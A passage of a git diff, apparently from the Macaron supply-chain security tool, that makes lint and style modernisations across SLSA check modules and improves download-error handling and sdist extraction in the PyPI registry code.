-class GitHubActionsFindingGroup(str, Enum): +class GitHubActionsFindingGroup(StrEnum): """Top-level finding groups for GitHub Actions vulnerability check facts.""" # Note: finding_group is the high-level bucket used for reporting sections. @@ -64,7 +64,7 @@ class GitHubActionsVulnsFacts(CheckFacts): __tablename__ = "_github_actions_vulnerabilities_check" #: The primary key. - id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) # noqa: A003 + id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) #: The GitHub Action workflow that may have various security issues. caller_workflow: Mapped[str] = mapped_column(String, nullable=False, info={"justification": JustificationType.HREF}) @@ -118,7 +118,7 @@ class GitHubActionsVulnsFacts(CheckFacts): DBJsonList, nullable=False, info={"justification": JustificationType.TEXT} ) - __mapper_args__ = { + __mapper_args__ = { # noqa: RUF012 (https://github.com/astral-sh/ruff/issues/25392) "polymorphic_identity": "_github_actions_vulnerabilities_check", } @@ -261,7 +261,6 @@ def run_check(self, ctx: AnalyzeContext) -> CheckResultData: # If no external GitHub Actions are found, no need to check for known vulnerabilities. if external_workflows: - # We first send a batch query to see which GitHub Actions are potentially vulnerable. # OSV's querybatch returns minimal results but this allows us to only make subsequent # queries to get vulnerability details when needed. diff --git a/src/macaron/slsa_analyzer/checks/infer_artifact_pipeline_check.py b/src/macaron/slsa_analyzer/checks/infer_artifact_pipeline_check.py index a10d14d57..e6d3d71a3 100644 --- a/src/macaron/slsa_analyzer/checks/infer_artifact_pipeline_check.py +++ b/src/macaron/slsa_analyzer/checks/infer_artifact_pipeline_check.py @@ -1,4 +1,4 @@ -# Copyright (c) 2023 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module contains the InferArtifactPipelineCheck class to check if an artifact is published from a pipeline automatically.""" @@ -31,7 +31,7 @@ class ArtifactPipelineFacts(CheckFacts): __tablename__ = "_artifact_pipeline_check" #: The primary key. - id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) # noqa: A003 + id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) #: The URL of the workflow file that triggered deploy. deploy_workflow: Mapped[str] = mapped_column(String, nullable=True, info={"justification": JustificationType.HREF}) @@ -60,7 +60,7 @@ class ArtifactPipelineFacts(CheckFacts): Boolean, nullable=False, info={"justification": JustificationType.TEXT} ) - __mapper_args__ = { + __mapper_args__ = { # noqa: RUF012 (https://github.com/astral-sh/ruff/issues/25392) "polymorphic_identity": "_infer_artifact_pipeline_check", } diff --git a/src/macaron/slsa_analyzer/checks/license_check.py b/src/macaron/slsa_analyzer/checks/license_check.py index a5d26f2c8..d3dfb1ae4 100644 --- a/src/macaron/slsa_analyzer/checks/license_check.py +++ b/src/macaron/slsa_analyzer/checks/license_check.py @@ -63,7 +63,7 @@ class LicenseFacts(CheckFacts): __tablename__ = "_license_check" #: The primary key. - id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) # noqa: A003 + id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) #: The SPDX identifier of the detected license (e.g. ``MIT``). spdx_id: Mapped[str] = mapped_column(String, nullable=True, info={"justification": JustificationType.TEXT}) @@ -77,7 +77,7 @@ class LicenseFacts(CheckFacts): #: The URL to the license file on GitHub. license_url: Mapped[str] = mapped_column(String, nullable=True, info={"justification": JustificationType.HREF}) - __mapper_args__ = { + __mapper_args__ = { # noqa: RUF012 (https://github.com/astral-sh/ruff/issues/25392) "polymorphic_identity": "_license_check", } diff --git a/src/macaron/slsa_analyzer/checks/provenance_available_check.py b/src/macaron/slsa_analyzer/checks/provenance_available_check.py index edcf070ce..f7ab24581 100644 --- a/src/macaron/slsa_analyzer/checks/provenance_available_check.py +++ b/src/macaron/slsa_analyzer/checks/provenance_available_check.py @@ -1,4 +1,4 @@ -# Copyright (c) 2022 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module contains the implementation of the Provenance Available check.""" @@ -20,7 +20,7 @@ logger: logging.Logger = logging.getLogger(__name__) -class ProvenanceAvailableException(MacaronError): +class ProvenanceAvailableError(MacaronError): """When there is an error while checking if a provenance is available.""" @@ -30,7 +30,7 @@ class ProvenanceAvailableFacts(CheckFacts): __tablename__ = "_provenance_available_check" #: The primary key. - id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) # noqa: A003 + id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) #: The provenance asset name. asset_name: Mapped[str] = mapped_column(String, nullable=True, info={"justification": JustificationType.TEXT}) @@ -38,7 +38,7 @@ class ProvenanceAvailableFacts(CheckFacts): #: The URL for the provenance asset. asset_url: Mapped[str] = mapped_column(String, nullable=True, info={"justification": JustificationType.HREF}) - __mapper_args__ = { + __mapper_args__ = { # noqa: RUF012 (https://github.com/astral-sh/ruff/issues/25392) "polymorphic_identity": "_provenance_available_check", } diff --git a/src/macaron/slsa_analyzer/checks/provenance_commit_check.py b/src/macaron/slsa_analyzer/checks/provenance_commit_check.py index 7e271ffea..1dd750d74 100644 --- a/src/macaron/slsa_analyzer/checks/provenance_commit_check.py +++ b/src/macaron/slsa_analyzer/checks/provenance_commit_check.py @@ -24,12 +24,12 @@ class ProvenanceDerivedCommitFacts(CheckFacts): __tablename__ = "_provenance_derived_commit_check" #: The primary key. - id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) # noqa: A003 + id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) #: The state of the commit. commit_info: Mapped[str] = mapped_column(String, nullable=True, info={"justification": JustificationType.TEXT}) - __mapper_args__ = { + __mapper_args__ = { # noqa: RUF012 (https://github.com/astral-sh/ruff/issues/25392) "polymorphic_identity": __tablename__, } diff --git a/src/macaron/slsa_analyzer/checks/provenance_l3_content_check.py b/src/macaron/slsa_analyzer/checks/provenance_l3_content_check.py index b7bc93c23..7c3d550d1 100644 --- a/src/macaron/slsa_analyzer/checks/provenance_l3_content_check.py +++ b/src/macaron/slsa_analyzer/checks/provenance_l3_content_check.py @@ -1,4 +1,4 @@ -# Copyright (c) 2023 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module checks if a SLSA provenance conforms to a given expectation.""" @@ -77,9 +77,11 @@ def run_check(self, ctx: AnalyzeContext) -> CheckResultData: # Check the provenances in package registries. for package_registry_info_entry in package_registry_info_entries: match package_registry_info_entry: - case PackageRegistryInfo( - package_registry=JFrogMavenRegistry(), - ) as info_entry: + case ( + PackageRegistryInfo( + package_registry=JFrogMavenRegistry(), + ) as info_entry + ): for provenance in info_entry.provenances: try: logger.info( diff --git a/src/macaron/slsa_analyzer/checks/provenance_repo_check.py b/src/macaron/slsa_analyzer/checks/provenance_repo_check.py index e1260d76c..2e051edae 100644 --- a/src/macaron/slsa_analyzer/checks/provenance_repo_check.py +++ b/src/macaron/slsa_analyzer/checks/provenance_repo_check.py @@ -28,12 +28,12 @@ class ProvenanceDerivedRepoFacts(CheckFacts): # pylint: disable=unsubscriptable-object #: The primary key. - id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) # noqa: A003 + id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) #: The state of the repository. repository_info: Mapped[str] = mapped_column(String, nullable=True, info={"justification": JustificationType.TEXT}) - __mapper_args__ = { + __mapper_args__ = { # # noqa: RUF012 (https://github.com/astral-sh/ruff/issues/25392) "polymorphic_identity": __tablename__, } diff --git a/src/macaron/slsa_analyzer/checks/provenance_verified_check.py b/src/macaron/slsa_analyzer/checks/provenance_verified_check.py index 46ac145e7..9d3dc96a7 100644 --- a/src/macaron/slsa_analyzer/checks/provenance_verified_check.py +++ b/src/macaron/slsa_analyzer/checks/provenance_verified_check.py @@ -25,7 +25,7 @@ class ProvenanceVerifiedFacts(CheckFacts): __tablename__ = "_provenance_verified_check" # The primary key. - id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) # noqa: A003 + id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) # The SLSA build level of the provenance. build_level: Mapped[int] @@ -33,7 +33,7 @@ class ProvenanceVerifiedFacts(CheckFacts): # The build type of the provenance. build_type: Mapped[str] = mapped_column(String, nullable=True, info={"justification": JustificationType.TEXT}) - __mapper_args__ = { + __mapper_args__ = { # noqa: RUF012 (https://github.com/astral-sh/ruff/issues/25392) "polymorphic_identity": __tablename__, } diff --git a/src/macaron/slsa_analyzer/checks/provenance_witness_l1_check.py b/src/macaron/slsa_analyzer/checks/provenance_witness_l1_check.py index c1eaff4e6..147fd9c89 100644 --- a/src/macaron/slsa_analyzer/checks/provenance_witness_l1_check.py +++ b/src/macaron/slsa_analyzer/checks/provenance_witness_l1_check.py @@ -1,4 +1,4 @@ -# Copyright (c) 2023 - 2024, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This check examines a witness provenance (https://github.com/testifysec/witness).""" @@ -28,7 +28,7 @@ logger: logging.Logger = logging.getLogger(__name__) -class WitnessProvenanceException(MacaronError): +class WitnessProvenanceError(MacaronError): """When there is an error while processing a Witness provenance.""" @@ -38,7 +38,7 @@ class WitnessProvenanceAvailableFacts(CheckFacts): __tablename__ = "_provenance_witness_l1_check" #: The primary key. - id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) # noqa: A003 + id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) #: The provenance asset name. provenance_name: Mapped[str] = mapped_column(String, nullable=False, info={"justification": JustificationType.TEXT}) @@ -49,7 +49,7 @@ class WitnessProvenanceAvailableFacts(CheckFacts): #: The URL for the artifact asset. artifact_url: Mapped[str] = mapped_column(String, nullable=True, info={"justification": JustificationType.HREF}) - __mapper_args__ = { + __mapper_args__ = { # noqa: RUF012 (https://github.com/astral-sh/ruff/issues/25392) "polymorphic_identity": "_provenance_witness_l1_check", } @@ -74,7 +74,7 @@ def verify_artifact_assets( Raises ------ - WitnessProvenanceException + WitnessProvenanceError If a subject is not a file attested by the Witness product attestor. """ # A look-up table to verify: @@ -84,9 +84,7 @@ def verify_artifact_assets( for subject in subjects: if not subject["name"].startswith("https://witness.dev/attestations/product/v0.1/file:"): - raise WitnessProvenanceException( - f"{subject['name']} is not a file attested by the Witness product attestor." - ) + raise WitnessProvenanceError(f"{subject['name']} is not a file attested by the Witness product attestor.") # Get the artifact name, which should be the last part of the artifact subject value. _, _, artifact_filename = subject["name"].rpartition("/") @@ -188,7 +186,7 @@ def run_check(self, ctx: AnalyzeContext) -> CheckResultData: try: verify_status = verify_artifact_assets(artifact_assets, subjects) - except WitnessProvenanceException as err: + except WitnessProvenanceError as err: logger.error(err) return CheckResultData( result_tables=result_tables, diff --git a/src/macaron/slsa_analyzer/checks/scm_authenticity_check.py b/src/macaron/slsa_analyzer/checks/scm_authenticity_check.py index 0da3eb3bb..066c6ca69 100644 --- a/src/macaron/slsa_analyzer/checks/scm_authenticity_check.py +++ b/src/macaron/slsa_analyzer/checks/scm_authenticity_check.py @@ -1,4 +1,4 @@ -# Copyright (c) 2024 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2024 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """A check to determine whether the source repository of a package can be independently verified.""" @@ -28,7 +28,7 @@ class ScmAuthenticityFacts(CheckFacts): __tablename__ = "_scm_authenticity_check" #: The primary key. - id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) # noqa: A003 + id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) #: Repository link identified by Macaron's repo finder. repo_link: Mapped[str] = mapped_column(String, nullable=True, info={"justification": JustificationType.HREF}) @@ -52,7 +52,7 @@ class ScmAuthenticityFacts(CheckFacts): #: The build tool used to build the package. build_tool: Mapped[str] = mapped_column(String, nullable=False, info={"justification": JustificationType.TEXT}) - __mapper_args__ = { + __mapper_args__ = { # noqa: RUF012 (https://github.com/astral-sh/ruff/issues/25392) "polymorphic_identity": __tablename__, } diff --git a/src/macaron/slsa_analyzer/checks/trusted_builder_l3_check.py b/src/macaron/slsa_analyzer/checks/trusted_builder_l3_check.py index f6ef41014..e1e4878b1 100644 --- a/src/macaron/slsa_analyzer/checks/trusted_builder_l3_check.py +++ b/src/macaron/slsa_analyzer/checks/trusted_builder_l3_check.py @@ -1,4 +1,4 @@ -# Copyright (c) 2022 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. @@ -34,7 +34,7 @@ class TrustedBuilderFacts(CheckFacts): __tablename__ = "_trusted_builder_check" #: The primary key. - id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) # noqa: A003 + id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) #: The name of the tool used to build. build_tool_name: Mapped[str] = mapped_column(String, nullable=False, info={"justification": JustificationType.TEXT}) @@ -45,7 +45,7 @@ class TrustedBuilderFacts(CheckFacts): #: The entrypoint script that triggers the build. build_trigger: Mapped[str] = mapped_column(String, nullable=True, info={"justification": JustificationType.HREF}) - __mapper_args__ = { + __mapper_args__ = { # noqa: RUF012 (https://github.com/astral-sh/ruff/issues/25392) "polymorphic_identity": "_trusted_builder_check", } @@ -117,7 +117,6 @@ def run_check(self, ctx: AnalyzeContext) -> CheckResultData: for root in ci_info["callgraph"].root_nodes: for callee in traverse_bfs(root): if isinstance(callee, (GitHubActionsReusableWorkflowCallNode, GitHubActionsActionStepNode)): - workflow_name = callee.uses_name if workflow_name in trusted_builders: diff --git a/src/macaron/slsa_analyzer/checks/vcs_check.py b/src/macaron/slsa_analyzer/checks/vcs_check.py index 259838477..28f345143 100644 --- a/src/macaron/slsa_analyzer/checks/vcs_check.py +++ b/src/macaron/slsa_analyzer/checks/vcs_check.py @@ -24,12 +24,12 @@ class VCSFacts(CheckFacts): __tablename__ = "_vcs_check" #: The primary key. - id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) # noqa: A003 + id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) #: The Git repository path. git_repo: Mapped[str] = mapped_column(String, nullable=True, info={"justification": JustificationType.HREF}) - __mapper_args__ = { + __mapper_args__ = { # noqa: RUF012 (https://github.com/astral-sh/ruff/issues/25392) "polymorphic_identity": "_vcs_check", } diff --git a/src/macaron/slsa_analyzer/ci_service/base_ci_service.py b/src/macaron/slsa_analyzer/ci_service/base_ci_service.py index 56979e055..3aec8f904 100644 --- a/src/macaron/slsa_analyzer/ci_service/base_ci_service.py +++ b/src/macaron/slsa_analyzer/ci_service/base_ci_service.py @@ -1,4 +1,4 @@ -# Copyright (c) 2022 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module contains the BaseCIService class to be inherited by a CI service.""" @@ -63,7 +63,9 @@ def get_workflows(self, repo_path: str) -> list: raise NotImplementedError def is_detected( - self, repo_path: str, git_service: BaseGitService | None = None # pylint: disable=unused-argument + self, + repo_path: str, + git_service: BaseGitService | None = None, # pylint: disable=unused-argument ) -> bool: """Return True if this CI service is used in the target repo. diff --git a/src/macaron/slsa_analyzer/ci_service/github_actions/github_actions_ci.py b/src/macaron/slsa_analyzer/ci_service/github_actions/github_actions_ci.py index d222ee011..b9c975297 100644 --- a/src/macaron/slsa_analyzer/ci_service/github_actions/github_actions_ci.py +++ b/src/macaron/slsa_analyzer/ci_service/github_actions/github_actions_ci.py @@ -9,7 +9,7 @@ import logging import os import traceback -from datetime import datetime, timedelta, timezone +from datetime import UTC, datetime, timedelta from macaron.code_analyzer.dataflow_analysis.analysis import analyse_github_workflow_file from macaron.code_analyzer.dataflow_analysis.core import Node, NodeForest @@ -30,7 +30,7 @@ class GitHubActions(BaseCIService): def __init__(self) -> None: """Initialize instance.""" super().__init__(name="github_actions") - self.personal_access_token = "" # nosec B105 + self.personal_access_token = "" self.api_client: GhAPIClient = get_default_gh_client("") self.query_page_threshold = 10 self.max_items_num = 100 @@ -160,7 +160,7 @@ def has_latest_run_passed( # Setting the timezone to UTC because the date format. # We are using for GitHub Actions is in ISO format, which contains the offset # from the UTC timezone. For example: 2022-04-10T14:10:01+07:00 - current_time = datetime.now(timezone.utc) + current_time = datetime.now(UTC) # TODO: it is safer to get commit_date as a datetime object directly. commit_date_obj = datetime.fromisoformat(commit_date) day_delta = (current_time - commit_date_obj).days @@ -453,7 +453,7 @@ def workflow_run_deleted(self, timestamp: datetime) -> bool: # apiVersion=2022-11-28#retention-of-checks-data # TODO: change this check if this issue is resolved: # https://github.com/orgs/community/discussions/138249 - if datetime.now(timezone.utc) - timedelta(days=400) > timestamp: + if datetime.now(UTC) - timedelta(days=400) > timestamp: logger.debug("Artifact published at %s is older than 400 days.", timestamp) return True diff --git a/src/macaron/slsa_analyzer/git_service/api_client.py b/src/macaron/slsa_analyzer/git_service/api_client.py index 00abc1bbd..a4ed93b21 100644 --- a/src/macaron/slsa_analyzer/git_service/api_client.py +++ b/src/macaron/slsa_analyzer/git_service/api_client.py @@ -559,7 +559,9 @@ def get_file_link(self, full_name: str, commit_sha: str, file_path: str) -> str: Examples -------- >>> api_client = GhAPIClient(profile={"headers": "", "query": []}) - >>> api_client.get_file_link("owner/repo", "5aaaaa43caabbdbc26c254df8f3aaa7bb3f4ec01", ".travis_ci.yml") + >>> api_client.get_file_link( + ... "owner/repo", "5aaaaa43caabbdbc26c254df8f3aaa7bb3f4ec01", ".travis_ci.yml" + ... ) 'https://github.com/owner/repo/blob/5aaaaa43caabbdbc26c254df8f3aaa7bb3f4ec01/.travis_ci.yml' """ return f"https://github.com/{full_name}/blob/{commit_sha}/{file_path}" diff --git a/src/macaron/slsa_analyzer/git_service/gitlab.py b/src/macaron/slsa_analyzer/git_service/gitlab.py index 477ec2282..15da8203b 100644 --- a/src/macaron/slsa_analyzer/git_service/gitlab.py +++ b/src/macaron/slsa_analyzer/git_service/gitlab.py @@ -1,4 +1,4 @@ -# Copyright (c) 2022 - 2024, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module contains the spec for the GitLab service. @@ -89,10 +89,7 @@ def construct_clone_url(self, url: str) -> str: # Construct clone URL from ``urlparse`` result, with or without an access token. # https://docs.gitlab.com/ee/gitlab-basics/start-using-git.html#clone-using-a-token access_token: str | None = self.token_function() - if access_token: - clone_url_netloc = f"oauth2:{access_token}@{self.hostname}" - else: - clone_url_netloc = self.hostname + clone_url_netloc = f"oauth2:{access_token}@{self.hostname}" if access_token else self.hostname clone_url = urlunparse( ParseResult( diff --git a/src/macaron/slsa_analyzer/git_url.py b/src/macaron/slsa_analyzer/git_url.py index 8c3bf25b0..f5397fc05 100644 --- a/src/macaron/slsa_analyzer/git_url.py +++ b/src/macaron/slsa_analyzer/git_url.py @@ -7,7 +7,7 @@ import os import re import string -import subprocess # nosec B404 +import subprocess import urllib.parse from configparser import ConfigParser from pathlib import Path @@ -325,7 +325,7 @@ def clone_remote_repo(clone_dir: str, url: str) -> Repo | None: # ``git clone`` from prompting for login credentials. "GIT_TERMINAL_PROMPT": "0", } - subprocess.run( # nosec B603 + subprocess.run( args=["git", "fetch", "origin", "--force", "--tags", "--prune", "--prune-tags"], capture_output=True, cwd=clone_dir, @@ -350,7 +350,7 @@ def clone_remote_repo(clone_dir: str, url: str) -> Repo | None: # ``git clone`` from prompting for login credentials. "GIT_TERMINAL_PROMPT": "0", } - result = subprocess.run( # nosec B603 + result = subprocess.run( args=["git", "clone", "--filter=tree:0", url], capture_output=True, cwd=parent_dir, @@ -390,8 +390,8 @@ def list_remote_references(arguments: list[str], repo: str) -> str | None: The result of the command. """ try: - result = subprocess.run( # nosec B603 - args=["git", "ls-remote"] + arguments + [repo], + result = subprocess.run( + args=["git", "ls-remote", *arguments, repo], capture_output=True, # By setting stdin to /dev/null and using a new session, we prevent all possible user input prompts. stdin=subprocess.DEVNULL, @@ -615,7 +615,7 @@ def clean_up_repo_path(repo_path: str) -> str: The cleaned up repo path. """ cleaned_path = repo_path.strip(" ").rstrip("/") - return cleaned_path[:-4] if cleaned_path.endswith(".git") else cleaned_path + return cleaned_path.removesuffix(".git") def get_remote_vcs_url(url: str, clean_up: bool = True) -> str: @@ -736,7 +736,7 @@ def parse_remote_url( return None path = "" - if not port.isdecimal(): + if not port.isdecimal(): # noqa: SIM108 # Happen for ssh://git@github.com:owner/project.git # where parsed_url.netloc="git@github.com:owner", port="owner" # and parsed_url.path="project.git". @@ -763,16 +763,8 @@ def parse_remote_url( if not user or host not in allowed_git_service_hostnames: return None - path = "" port_num, _, path_remain = port_path.strip("/").partition("/") - if not port_num.isdecimal(): - # port_path doesn't have any port number (e.g. port_path == /org/name). - # We use all of port_path as the path. - path = port_path - else: - # port_path have valid port number (e.g. port_path == 7999/org/name). - # We only use the rest of the path. - path = path_remain + path = path_remain if port_num.isdecimal() else port_path path_params = path.strip("/").split("/") if len(path_params) < 2: @@ -902,10 +894,7 @@ def is_empty_repo(git_obj: Git) -> bool: # https://stackoverflow.com/questions/5491832/how-can-i-check-whether-a-git-repository-has-any-commits-in-it try: head_commit_hash = git_obj.repo.git.rev_parse("HEAD") - if not head_commit_hash: - return True - - return False + return bool(not head_commit_hash) except GitCommandError: return True @@ -929,15 +918,15 @@ def is_commit_hash(value: str) -> bool: Example ------- - >>> is_commit_hash('e3a1b6c') + >>> is_commit_hash("e3a1b6c") True - >>> is_commit_hash('e3a1b6c8d9b2ff0c9f5f8a0a5d8f4cf2e19b1db3') + >>> is_commit_hash("e3a1b6c8d9b2ff0c9f5f8a0a5d8f4cf2e19b1db3") True - >>> is_commit_hash('invalid_hash123') + >>> is_commit_hash("invalid_hash123") False - >>> is_commit_hash('master') + >>> is_commit_hash("master") False - >>> is_commit_hash('main') + >>> is_commit_hash("main") False """ pattern = r"^[a-f0-9]{7,40}$" diff --git a/src/macaron/slsa_analyzer/package_registry/jfrog_maven_registry.py b/src/macaron/slsa_analyzer/package_registry/jfrog_maven_registry.py index 25b3145ed..56e0f4522 100644 --- a/src/macaron/slsa_analyzer/package_registry/jfrog_maven_registry.py +++ b/src/macaron/slsa_analyzer/package_registry/jfrog_maven_registry.py @@ -1,4 +1,4 @@ -# Copyright (c) 2023 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """Assets on a package registry.""" @@ -154,7 +154,7 @@ def load_defaults(self) -> None: self.request_timeout = defaults.getint("requests", "timeout", fallback=10) except ValueError as error: raise ConfigurationError( - f'The value of "timeout" in section [requests] ' f"of the .ini configuration file is invalid: {error}", + f'The value of "timeout" in section [requests] of the .ini configuration file is invalid: {error}', ) from error try: diff --git a/src/macaron/slsa_analyzer/package_registry/maven_central_registry.py b/src/macaron/slsa_analyzer/package_registry/maven_central_registry.py index 957193229..b682d3957 100644 --- a/src/macaron/slsa_analyzer/package_registry/maven_central_registry.py +++ b/src/macaron/slsa_analyzer/package_registry/maven_central_registry.py @@ -6,7 +6,7 @@ import hashlib import logging import urllib.parse -from datetime import datetime, timezone +from datetime import UTC, datetime import requests from packageurl import PackageURL @@ -233,7 +233,7 @@ def find_publish_timestamp(self, purl: str) -> datetime: # The timestamp published in Maven Central is in milliseconds and needs to be divided by 1000. # Unfortunately, this is not documented in the API docs. try: - return datetime.fromtimestamp(round(timestamp / 1000), tz=timezone.utc) + return datetime.fromtimestamp(round(timestamp / 1000), tz=UTC) except (OverflowError, OSError) as error: raise InvalidHTTPResponseError(f"The timestamp returned by {url} is invalid") from error diff --git a/src/macaron/slsa_analyzer/package_registry/osv_dev.py b/src/macaron/slsa_analyzer/package_registry/osv_dev.py index b5955ffa5..eda4e7683 100644 --- a/src/macaron/slsa_analyzer/package_registry/osv_dev.py +++ b/src/macaron/slsa_analyzer/package_registry/osv_dev.py @@ -261,11 +261,10 @@ def call_osv_querybatch_api(query_data: dict, expected_size: int | None = None) results = res_obj.get("results") if res_obj else None if isinstance(results, list): - if expected_size: - if len(results) != expected_size: - raise APIAccessError( - f"Failed to retrieve a valid result from {url}: result count does not match the expected count." - ) + if expected_size and len(results) != expected_size: + raise APIAccessError( + f"Failed to retrieve a valid result from {url}: result count does not match the expected count." + ) return results diff --git a/src/macaron/slsa_analyzer/package_registry/pypi_registry.py b/src/macaron/slsa_analyzer/package_registry/pypi_registry.py index 15424500a..f0ebf21ca 100644 --- a/src/macaron/slsa_analyzer/package_registry/pypi_registry.py +++ b/src/macaron/slsa_analyzer/package_registry/pypi_registry.py @@ -6,6 +6,8 @@ from __future__ import annotations import bisect +import copy +import fnmatch import hashlib import logging import os @@ -28,7 +30,7 @@ from packaging.version import InvalidVersion, Version from macaron.config.defaults import defaults -from macaron.errors import ConfigurationError, InvalidHTTPResponseError, SourceCodeError, WheelTagError +from macaron.errors import ConfigurationError, InvalidHTTPResponseError, SourceCodeError from macaron.json_tools import json_extract from macaron.malware_analyzer.datetime_parser import parse_datetime from macaron.slsa_analyzer.package_registry.package_registry import PackageRegistry @@ -48,7 +50,7 @@ def _handle_temp_dir_clean(function: Callable, path: str, onerror: tuple) -> None: - raise SourceCodeError(f"Error removing with shutil. function={function}, " f"path={path}, excinfo={onerror}") + raise SourceCodeError(f"Error removing with shutil. function={function}, path={path}, excinfo={onerror}") class PyPIRegistry(PackageRegistry): @@ -208,6 +210,7 @@ def cleanup_sourcecode_directory( logger.debug(error_message) try: shutil.rmtree(directory, onerror=_handle_temp_dir_clean) + logger.debug("Successfully cleaned up temporary directory %s.", directory) except SourceCodeError as tempdir_exception: tempdir_exception_msg = ( f"Unable to cleanup temporary directory {directory} for source code: {tempdir_exception}" @@ -266,15 +269,39 @@ def download_package_sourcecode(self, url: str) -> str: source_file = os.path.join(temp_dir, file_name) timeout = defaults.getint("downloads", "timeout", fallback=120) size_limit = defaults.getint("downloads", "max_download_size", fallback=10000000) - if not download_file_with_size_limit(url, {}, source_file, timeout, size_limit): - self.cleanup_sourcecode_directory(temp_dir, "Could not download the file.") + + download_succeeded = False + try: + download_succeeded = download_file_with_size_limit(url, {}, source_file, timeout, size_limit) + except requests.exceptions.RequestException as error: + self.cleanup_sourcecode_directory( + temp_dir, f"Error downloading source code from file {file_name}: {error}", error + ) + if not download_succeeded: + self.cleanup_sourcecode_directory(temp_dir, f"Error downloading source code from file {file_name}.") if not tarfile.is_tarfile(source_file): self.cleanup_sourcecode_directory(temp_dir, f"Unable to extract source code from file {file_name}") try: with tarfile.open(source_file, "r:gz") as sourcecode_tar: - sourcecode_tar.extractall(temp_dir, filter="data") + members = sourcecode_tar.getmembers() + if members and all( + member.name == package_name or member.name.startswith(f"{package_name}/") for member in members + ): + # Most sdists wrap their contents in a single package-version directory. + # Strip that wrapper during extraction so the returned temp directory + # contains the package files directly and cleanup removes the whole tree. + members_to_extract = [] + for member in members: + if member.name == package_name: + continue + stripped_member = copy.copy(member) + stripped_member.name = member.name.removeprefix(f"{package_name}/") + members_to_extract.append(stripped_member) + members = members_to_extract + + sourcecode_tar.extractall(temp_dir, members=members, filter="data") except tarfile.TarError as tar_error: self.cleanup_sourcecode_directory( temp_dir, f"Error extracting source code tar file: {tar_error}", tar_error @@ -282,11 +309,6 @@ def download_package_sourcecode(self, url: str) -> str: os.remove(source_file) - extracted_dir = os.listdir(temp_dir) - if len(extracted_dir) == 1 and extracted_dir[0] == package_name: - # Structure used package name and version as top-level directory. - temp_dir = os.path.join(temp_dir, extracted_dir[0]) - logger.debug("Temporary download and unzip of %s stored in %s", file_name, temp_dir) return temp_dir @@ -321,8 +343,15 @@ def download_package_wheel(self, url: str) -> str: timeout = defaults.getint("downloads", "timeout", fallback=120) size_limit = defaults.getint("downloads", "max_download_size", fallback=10000000) - if not download_file_with_size_limit(url, {}, wheel_file, timeout, size_limit): - self.cleanup_sourcecode_directory(temp_dir, "Could not download the file.") + download_succeeded = False + try: + download_succeeded = download_file_with_size_limit(url, {}, wheel_file, timeout, size_limit) + except requests.exceptions.RequestException as error: + self.cleanup_sourcecode_directory( + temp_dir, f"Error downloading wheel from file {file_name}: {error}", error + ) + if not download_succeeded: + self.cleanup_sourcecode_directory(temp_dir, f"Error downloading wheel from file {file_name}.") # Wheel is a zip if not zipfile.is_zipfile(wheel_file): @@ -338,7 +367,7 @@ def download_package_wheel(self, url: str) -> str: if member.filename.endswith("METADATA"): members.append(member) # Intended suppression. The tool is unable to see that .extractall is being called with a filter - zip_file.extractall(temp_dir, members) # nosec B202:tarfile_unsafe_members + zip_file.extractall(temp_dir, 